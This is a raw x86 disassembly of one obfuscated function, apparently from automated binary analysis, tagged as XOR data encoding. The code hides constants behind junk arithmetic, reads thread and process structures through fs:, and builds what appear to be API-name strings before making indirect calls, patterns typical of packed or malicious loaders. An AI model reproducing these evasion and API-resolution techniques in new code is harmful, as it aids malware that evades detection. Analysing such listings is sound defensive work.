Function at 0x4768b0
Capabilities:
Encode data using xor

Disassembly:
push ebx
pop eax
xor ecx, ecx
add ecx, eax
mov eax, ecx
mov edx, eax
add esp, 0xfffffffc
mov eax, esp
mov dword [eax], edx
mov ebx, 0x7c43ecb0
mov ecx, 0x83bc134c
xor ebx, ecx
add esp, ebx
mov eax, 0x434a8e3c
shr eax, 2
add eax, 0xef2d5c71
xor eax, esp
mov dword [eax], edi
mov edx, esi
push edx
pop edi
push 0xd72c95
mov ebx, 0x35cb244e
shr ebx, 6
pop ecx
xor ebx, ecx
sub esp, ebx
mov dword [esp], edi
sub ecx, ecx
mov edi, 0x73c4a507
add ecx, edi
shr ecx, 2
push 0x17e649c6
mov esi, 0x58bb0778
shr esi, 3
pop edx
xor esi, edx
sub ecx, esi
mov edx, dword fs:[ecx]
xor eax, eax
add eax, 0x79ac1e8b
shr eax, 7
mov esi, 0xf3580d
mov edi, esi
xor edi, eax
lea edx, [edx + edi]
mov ecx, 0
mov esi, 0
xor ecx, esi
xor ecx, edx
add ecx, 0xffffffd7
mov ebx, dword [ecx + 0x29]
xor ecx, ecx
or ecx, 0x84e3c
shr ecx, 2
lea ecx, [ecx - 0x21383]
jmp 0x485485
mov dword [esp], esi
lea ebx, [eax]
mov edi, ebx
mov edx, edi
mov edi, 0xfffffffc
add esp, edi
mov dword [esp], edx
mov edx, dword [esp + 0x20]
xor edx, edx
add edx, 0
xor esi, esi
sub esi, 0
xor edx, esi
xor edx, dword [esp + 0x20]
call edx
add esp, 0xd
sub esp, 0xfffffffd
mov ebx, 0xec
add ebx, 0xffffff54
push ebx
mov ebx, 0xfc2
add ebx, 0x3e
push ebx
mov ecx, 0xe19d
sub ecx, 0xa1
push ecx
mov esi, 0xffffff14
add esi, 0xec
push esi
call eax
pop ecx
mov edx, 0x92c1f75
shr edx, 2
mov esi, 0x2f84339f
xor edx, esi
xor edx, 0x2dcf3442
xor edx, eax
mov edi, edx
xor esi, esi
add esi, edi
add esp, 0xfffffffc
mov edi, esp
mov dword [edi], esi
lea esi, [ecx]
mov edi, esi
add esp, 0xfffffffc
mov eax, esp
jmp 0x4855b3
shr edx, 4
pop esi
xor edx, esi
sub esp, edx
mov dword [esp], ecx
xor edx, edx
add edx, esp
mov eax, 0xffffffff
add edx, eax
mov ecx, dword [edx + 1]
mov eax, 0xfffffffc
sub esp, eax
call ecx
xor ecx, ecx
mov edx, 0x3008010
add ecx, edx
mov edx, 0x4227181
mov eax, edx
xor ecx, eax
pop esi
xor ecx, ecx
or ecx, 0x603dc995
shr ecx, 4
lea ecx, [ecx + 0x69991005]
push esp
pop eax
sub eax, 1
mov edi, dword [eax + 1]
mov edx, 0x70a68e4c
shr edx, 7
xor edx, 0xff1eb2e0
sub esp, edx
mov edx, 0x5fff2a4e
add edx, 0xffffff6f
push edx
sub eax, eax
mov edx, 0xf7119ba7
sub eax, edx
shr eax, 1
pop ecx
xor eax, ecx
push esp
pop eax
add eax, 0xffffffff
mov ebx, dword [eax + 1]
sub esp, 0xfffffffc
lea esp, [esp + 4]
jmp 0x476be3
xor ebx, edx
sub ebx, ecx
jne 0x476b10
pop ecx
mov ebx, 0x5de583ad
shr ebx, 4
add ebx, 0xfa5564b3
add ebx, 0xffcc430d
sub ecx, ebx
xor edx, edx
lea edx, [edx + ecx]
mov edi, 0x510bf223
mov esi, 0xaef40d80
xor edi, esi
add edx, edi
mov ebx, dword [edx + 0x5d]
lea edi, [ebx]
push 0x83d5929d
mov eax, 0x2affc13d
shr eax, 3
pop ecx
xor eax, ecx
xor edi, eax
mov ecx, 0x98e36a
xor edi, ecx
xor edi, 0x79ed762f
and edi, 0x320033
and ebx, 0xffcdffcc
or ebx, edi
add ebx, 0
je 0x485423
jmp 0x476b2f
mov eax, 0
xor eax, esp
mov ecx, 0x20
add eax, ecx
mov ebx, dword [eax - 0x20]
add esp, 2
add esp, 2
pop ecx
mov edi, ecx
mov esi, edi
mov ebx, 0
xor ebx, esi
jmp 0x4853f3
sub ecx, ecx
mov cl, byte [edi]
lea esi, [esi + ecx]
mov cl, byte [esi]
xor ebx, ebx
add ebx, esp
mov edx, 0xffffffb7
sub ebx, edx
mov edi, dword [ebx - 0x49]
mov edx, 0
mov eax, 4
xor edx, eax
add esp, edx
mov eax, 0x7e587aca
shr eax, 4
mov esi, 0x7e587ac
xor esi, eax
xor esi, dword [esp]
mov edx, 0x1e560ec0
mov eax, 0xe1a9f13c
xor edx, eax
sub esp, edx
mov byte [edi], cl
xor eax, eax
add eax, 0x131ce04d
shr eax, 3
xor edx, edx
add edx, 0xfd9c63f6
xor edx, eax
add edi, edx
mov edx, esp
dec edx
mov eax, dword [edx + 1]
lea ecx, [eax]
mov eax, 0xfffffffc
sub esp, eax
dec ecx
sub ecx, 0
jne 0x4851cc
xor eax, eax
sub eax, 0xd53d53ca
shr eax, 5
mov esi, 0x1561562
sub eax, esi
sub edi, eax
lea ecx, [edi]
push 0x1a82e47
mov edx, 0x1a82e434
jmp 0x476a07
jmp dword [esp - 4]
push edx
mov esi, 0x636f6c95
sub esi, 0x29
push esi
mov edx, 0x416c61f7
sub edx, 0x82
push edx
mov ecx, 0x74726a39
add ecx, 0xffffff1d
push ecx
mov esi, 0xe2264f58
sub esi, 0x58
push esi
mov ebx, 0x32336bbe
add ebx, 0xa7
push ebx
mov ebx, 0x6e72659d
add ebx, 0xffffffae
push ebx
xor ecx, ecx
add ecx, 0x2fd24894
shr ecx, 4
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x2fd2489
and ecx, 0xfd02db76
or ecx, esi
xor ecx, dword [esp + 0x20]
xor ebx, ebx
add ebx, esp
mov esi, 4
sub esp, esi
xor edx, edx
add edx, esp
mov dword [edx], ebx
call ecx
add esp, 0xc
mov edi, 0
xor edi, esp
mov edx, edi
xchg esi, edx
mov ebx, 0x259ea5d0
shr ebx, 4
xor ebx, 0x259ea59
sub esp, ebx
jmp 0x476963
shr ebx, 4
sub eax, eax
add eax, 0xff41714a
add eax, 0xffa4ff18
xor eax, ebx
test eax, edi
je 0x484f6a
xor edx, edx
sub edx, 0xfffffffc
xor ebx, ebx
or ebx, 0
xor edx, ebx
lea esi, [esi + edx]
pop edx
mov ecx, 0xfc44e973
sub ecx, 0xb0
push ecx
xor ebx, ebx
or ebx, 0x7762e7b8
shr ebx, 5
mov edi, dword [esp]
sub esp, 0xfffffffc
xor ebx, edi
sub edx, ebx
mov edi, 0x28f0c43c
shr edi, 7
xor edi, 0x51e188
xor edi, edx
add esp, 0xfffffffc
push esp
pop ecx
mov dword [ecx], edi
jmp 0x485347
pop edx
mov eax, edx
add esp, 0xfffffffc
mov dword [esp], eax
mov edi, dword [esp]
add esp, 4
sub edx, edx
add edx, dword [edi]
and edx, 0xffff
lea edx, [edx + edx]
lea eax, [edx]
add edx, eax
jmp 0x485221
mov esi, 0
xor esi, ebx
mov edi, esi
xchg edx, edi
add edx, 0xffffffff
mov ecx, dword [edx + 1]
and ecx, 0xff
mov edi, 0x7d7ecf32
shr edi, 6
add edi, 0xfe0a04c4
xor edi, ecx
mov edx, 0xf78821
shr edx, 7
xor edx, 0xa5af5016
xor edi, edx
mov eax, 0x5a5140f9
xor edi, eax
and edi, 0x4e
and ecx, 0xffffffb1
or ecx, edi
sub ecx, 0
je 0x476aa4
mov edi, ecx
sub esp, 4
mov dword [esp], edi
pop ebx
push 0xbe4e8df7
mov esi, 0x4beca55b
shr esi, 1
pop edx
xor esi, edx
xor ebx, esi
mov edx, 0x329d7a52
xor ebx, edx
xor ebx, 0x56da5af7
and ebx, 0x20
and ecx, 0xffffffdf
or ecx, ebx
mov esi, 0xdeeeda
add esi, 0xffffffd7
push esi
xor ebx, ebx
mov edi, 0x1bddd636
add ebx, edi
shr ebx, 5
pop edx
jmp 0x476a9a
add edx, 0xffffffd5
push edx
mov eax, esp
mov edx, eax
xchg esi, edx
xor edx, edx
add edx, esi
mov edi, 4
sub esp, edi
mov dword [esp], edx
mov esi, 0x1ff7ee84
shr esi, 2
xor esi, 0x7fdfba1
xor esi, ecx
lea esp, [esp - 4]
mov dword [esp], esi
call ebx
xor edx, edx
or edx, 0x76f4dc30
shr edx, 1
mov ecx, 0x3b7a6e08
sub edx, ecx
add esp, edx
mov edx, eax
add esp, 0xfffffffc
mov dword [esp], edx
call fcn.00476bfe
xor ecx, ecx
add ecx, 0x4673a454
shr ecx, 5
xor edx, edx
sub edx, 0x2339d77
xor edx, ecx
sub ebx, edx
mov esi, 0x3daf94ed
shr esi, 5
add esi, 0xfe128355
add esp, esi
push 0x3359e3
mov ecx, 0x66b3c60
shr ecx, 5
pop edx
xor ecx, edx
xor ecx, esp
mov dword [ecx], ebx
mov edx, 0xbf6b11c8
add edx, 0x38
jmp 0x484e4a
shr eax, 3
add eax, 0xf5761498
xor eax, dword [esi]
mov ebx, 0x1a6abd36
shr ebx, 3
mov edi, 0x34d57a6
xor edi, ebx
xor edi, eax
mov ecx, 0x65d0ac74
shr ecx, 3
mov eax, 0xcba158e
xor eax, ecx
xor eax, dword [esp + 8]
xor ecx, ecx
add ecx, eax
mov edx, ecx
xchg ebx, edx
lea edi, [edi + ebx]
xor eax, eax
or eax, 0x7ab06c53
shr eax, 6
mov ebx, eax
xor ebx, 0xffffffff
and ebx, 0x1eac1b4
and eax, 0xfe153e4b
or eax, ebx
lea edi, [edi + eax]
xor ecx, ecx
add ecx, edi
mov ebx, ecx
xchg eax, ebx
mov ebx, 0xffffffe7
sub eax, ebx
mov edi, dword [eax - 0x19]
mov eax, 0x62b530df
add eax, 0x10
push eax
mov eax, 0x6f453803
mov ecx, eax
shr ecx, 4
mov edx, dword [esp]
sub esp, 0xfffffffc
xor ecx, edx
xor edi, ecx
sub ebx, ebx
add ebx, 0x1198f9d7
jmp 0x484ef9
xor ecx, esi
pop esi
mov ebx, esp
mov eax, ebx
mov ebx, 0xffffffdc
sub eax, ebx
mov edx, 1
sub eax, edx
mov edi, dword [eax - 0x23]
mov eax, 0x263ab3e0
shr eax, 3
add eax, 0xfb38a988
add esp, eax
mov ebx, 0xa8fbca
add ebx, 0x49
push ebx
xor edx, edx
add edx, 0x540e717a
shr edx, 7
pop eax
xor edx, eax
lea edi, [edi + edx]
mov edx, ecx
mov eax, 0x6f0fe30e
shr eax, 6
xor eax, 0xfe43c070
add esp, eax
mov dword [esp], edx
mov eax, 0xd6529f5
shr eax, 6
xor eax, 0x3594a7
xor eax, esi
mov edx, 0xfffffffc
add esp, edx
mov ebx, 0
xor ebx, esp
mov dword [ebx], eax
push 0xf1da1311
mov ebx, 0x712f6769
shr ebx, 3
pop edx
xor ebx, edx
lea esp, [esp + ebx]
xor eax, eax
add eax, esp
mov dword [eax], edi
jmp 0x476b41
pop ebx
lea ebx, [ebx + edx]
mov eax, ebx
mov esi, 0xffffffec
add eax, esi
mov ecx, 1
sub eax, ecx
mov edx, dword [eax + 0x15]
mov esi, edx
push esi
mov ebx, dword [esp]
add esp, 4
push esp
pop esi
sub esi, 0xffffffc9
mov eax, 1
sub esi, eax
mov ecx, dword [esi - 0x36]
push 0xfecef7bb
mov eax, 0x4c4211c7
shr eax, 6
pop edx
xor eax, edx
sub esp, eax
lea ebx, [ebx + ecx]
mov esi, ebx
push esi
mov edx, dword [esp]
sub esp, 0xfffffffc
push 0x2e66c5c
mov esi, 0x173362c5
shr esi, 3
pop eax
xor esi, eax
sub esp, esi
mov dword [esp], edx
mov eax, 0x6b876ba
sub eax, 0xba
push eax
mov edi, 0x417972d1
add edi, 0xffffff90
push edi
mov edx, 0x72626a4a
add edx, 0xffffff02
push edx
mov edx, 0x64616f77
jmp 0x485041
add esp, ecx
mov dword [esp], eax
sub ecx, ecx
add ecx, 0x42d5284c
shr ecx, 6
xor ebx, ebx
add ebx, 0x10b54a5
xor ebx, ecx
lea ebx, [ebx + esi]
xor edx, edx
add edx, ebx
mov edi, 0x7a13229d
shr edi, 5
add edi, 0xfc2f6707
add edx, edi
mov eax, 1
sub edx, eax
mov ebx, dword [edx - 0x1a]
push 0x864d61
mov edi, 0x4326b0f5
shr edi, 7
pop eax
xor edi, eax
xor edi, dword [esp + 4]
mov edx, edi
lea ebx, [ebx + edx]
sub edi, edi
add edi, ebx
add esp, 0xfffffffd
add esp, 0xffffffff
mov dword [esp], edi
mov edi, esi
xor esi, esi
add esi, dword [edi]
mov edx, dword [esp + 8]
mov eax, 0x2e12c12f
shr eax, 2
xor eax, 0xb84b04b
xor eax, dword [esp + 8]
xor ebx, ebx
add ebx, eax
xchg ebx, edx
lea esi, [esi + edx]
mov eax, 0x544f5b46
jmp 0x4850e4
add ecx, esi
xor ebx, ecx
sub edi, edi
add edi, 0x263c515d
shr edi, 5
mov ecx, 0
xor ecx, edi
mov edx, 0xffffffff
xor ecx, edx
and ecx, 0x131e28a
and edi, 0xfece1d75
or edi, ecx
add ebx, edi
jne 0x476b2f
mov ebx, 0
sub eax, ebx
mov ecx, 0xfffffffc
sub eax, ecx
xor ecx, ecx
add ecx, dword [eax]
mov edi, ecx
xchg edi, edx
mov esi, edx
mov ebx, esi
sub ecx, ecx
add ecx, ebx
mov esi, 0x12730e3a
shr esi, 7
mov edx, 0x24e618
xor edx, esi
sub esp, edx
mov dword [esp], ecx
lea edi, [ebx]
mov ecx, 0x90614ef
shr ecx, 7
xor ecx, 0x120c6d
sub edi, ecx
dec edi
mov eax, dword [edi + 0x45]
and eax, 0xff
xor esi, esi
lea esi, [esi + eax]
push esi
pop edi
mov ebx, edi
xor ebx, 0xffffffff
and ebx, 0xffffffff
jmp 0x485513
mov edx, 0x7a567304
shr edx, 4
add edx, 0xf85a98cf
add ebx, edx
mov eax, dword [ebx + 1]
mov edi, 0
xor edi, eax
xchg edi, esi
mov ebx, 4
sub esp, ebx
mov ebx, esp
mov edi, ebx
mov dword [edi], esi
jmp 0x4854bc
xor esi, esi
add esi, esp
mov edi, 0xc
sub esi, edi
add esi, 0xffffffff
mov edx, dword [esi + 0xd]
mov ebx, 4
add esp, ebx
mov ebx, edx
lea ebx, [ebx + 0x1f]
mov eax, 0x699899c4
shr eax, 3
xor eax, 0xd331339
sub ebx, eax
mov esi, dword [ebx - 0x1e]
lea edx, [esi]
lea edx, [edx - 0x4d]
mov ecx, dword [edx + 0x4d]
mov edi, 0x213b2460
mov edx, edi
xor eax, eax
add eax, 0xdec4db88
xor edx, eax
sub ecx, edx
sub edi, edi
add edi, dword [ecx]
mov ecx, edi
push ecx
pop ebx
add esp, 0xfffffffc
push esp
pop eax
mov dword [eax], ebx
jmp 0x485646
add ebx, ecx
xor eax, eax
lea eax, [eax + ebx]
push 0xfedf823b
mov esi, 0x481f6711
shr esi, 6
pop ecx
xor esi, ecx
sub eax, esi
mov edx, dword [eax - 0x59]
lea edx, [edx + 0xc]
mov ecx, 0x3a39a5ec
shr ecx, 7
xor ecx, 0x74734f
sub esp, ecx
mov ebx, esp
mov edi, ebx
xchg edi, esi
mov dword [esi], edx
pop edi
lea eax, [edi]
xchg ebx, eax
mov eax, 0xfffffffc
add esp, eax
mov dword [esp], ebx
xor ecx, ecx
add ecx, dword [edi]
xor eax, eax
sub eax, 0xc1d38215
shr eax, 7
sub eax, 0x7c58fb
xor eax, dword [ecx]
mov esi, 0xffffffd4
sub eax, esi
mov ecx, 0x1211f846
mov ebx, ecx
shr ebx, 2
mov edi, 0x4847e11
xor ebx, edi
xor ebx, dword [eax]
and ebx, 0xffff
mov ecx, 0x4fcbcd4b
shr ecx, 7
mov esi, 0xff60687e
jmp 0x485352
and edi, 0
or edi, ebx
and edi, 0xffffffff
and esi, 0
or esi, edi
and esi, 0x6b
and eax, 0xffffff94
or eax, esi
mov edi, 0x1e0d1f64
mov esi, 0xe1f2e09b
mov ecx, esi
push ecx
pop ebx
xor edi, ebx
and edi, eax
je 0x485576
xor al, 0x20
mov edx, 0x2b9af145
add edx, 0xffffffd9
push edx
sub esi, esi
mov edx, 0xa8ca1dc3
sub esi, edx
shr esi, 1
pop ebx
xor esi, ebx
sub esi, eax
jne 0x476b10
mov edi, esp
add edi, 7
dec edi
mov esi, dword [edi - 6]
mov eax, esi
xchg ebx, eax
mov ecx, 0x56bf5293
shr ecx, 1
add ecx, 0xd4a056b3
sub esp, ecx
add ebx, 6
push ebx
pop ecx
xchg edi, ecx
add esp, 0xfffffffc
xor eax, eax
add eax, esp
mov dword [eax], edi
jmp 0x484f8f
mov dword [eax], edi
mov eax, 0xff7accfc
add eax, 0x9a
push eax
mov esi, 0x214ca5b1
shr esi, 6
mov edi, dword [esp]
sub esp, 0xfffffffc
xor esi, edi
sub ecx, esi
mov esi, 0xe0b0
add esi, 0x42
push esi
mov al, byte [ecx]
mov byte [edx], al
add ecx, 1
mov eax, 0x29d7c5a2
mov ebx, eax
shr ebx, 5
mov esi, 0x14ebe2c
sub ebx, esi
add edx, ebx
pop eax
mov esi, 0x1219ea16
add esi, 0
push esi
xor edi, edi
add edi, 0x4867a85f
shr edi, 2
pop ebx
xor edi, ebx
sub eax, edi
add esp, 0xfffffffc
sub ebx, ebx
add ebx, esp
mov dword [ebx], eax
and eax, eax
jne 0x4855e2
pop edx
xor ecx, ecx
mov edi, 0xe042
add ecx, edi
sub esi, esi
add esi, 0xb0
jmp 0x485185
mov esi, edi
push esi
pop ebx
xchg ecx, ebx
xor ebx, ebx
add ebx, 0x198578a4
shr ebx, 4
mov edx, ebx
xor edx, 0xffffffff
and edx, 0xfe67a84e
and ebx, 0x19857b1
or ebx, edx
sub ecx, ebx
mov edx, 0x4fae13c
add edx, 0xffffff73
push edx
xor esi, esi
add esi, 0x27d7057b
shr esi, 3
mov eax, dword [esp]
sub esp, 0xfffffffc
xor esi, eax
xor esi, dword [ecx]
mov ebx, esp
xchg ebx, edi
xchg edi, eax
mov ebx, 3
mov edx, 0x14
xor ebx, edx
sub eax, ebx
mov ecx, dword [eax + 0x17]
add esi, ecx
xor ecx, ecx
or ecx, 0x28
xor ebx, ebx
add ebx, 0x50
xor ecx, ebx
add esi, ecx
add esp, 0xfffffffc
mov edx, esp
mov dword [edx], esi
mov eax, dword [esp]
add esp, 4
mov ebx, 0xffffffee
sub eax, ebx
jmp 0x4856d9
mov esi, dword [eax - 0x12]
xor ecx, ecx
add ecx, 0x3dda3d8
shr ecx, 4
mov edi, ecx
xor edi, 0xffffffff
and edi, 0x3dda3d
and ecx, 0xffc225c2
or ecx, edi
xor ecx, dword [esp]
add esi, ecx
xor ecx, ecx
add ecx, 0xfac3b0
shr ecx, 7
mov edi, 0xfffe0a59
add ecx, edi
sub esi, ecx
mov ecx, 0x4700d3ac
mov edi, ecx
mov ebx, edi
mov edx, ebx
xor eax, eax
or eax, 0xb8ff2c50
xor edx, eax
lea edx, [edx + esi]
push edx
pop edi
xor eax, eax
add eax, edi
dec eax
mov edx, dword [eax + 1]
mov ebx, esp
push ebx
mov eax, dword [esp]
sub esp, 0xfffffffc
mov ecx, 0x692cc376
shr ecx, 7
mov ebx, 0xff2da619
xor ebx, ecx
sub eax, ebx
mov edi, dword [eax - 0x61]
add edx, edi
xor eax, eax
add eax, edx
mov ecx, 0x5bc4a8c0
shr ecx, 1
xor ecx, 0xd21dab9c
jmp 0x4852b9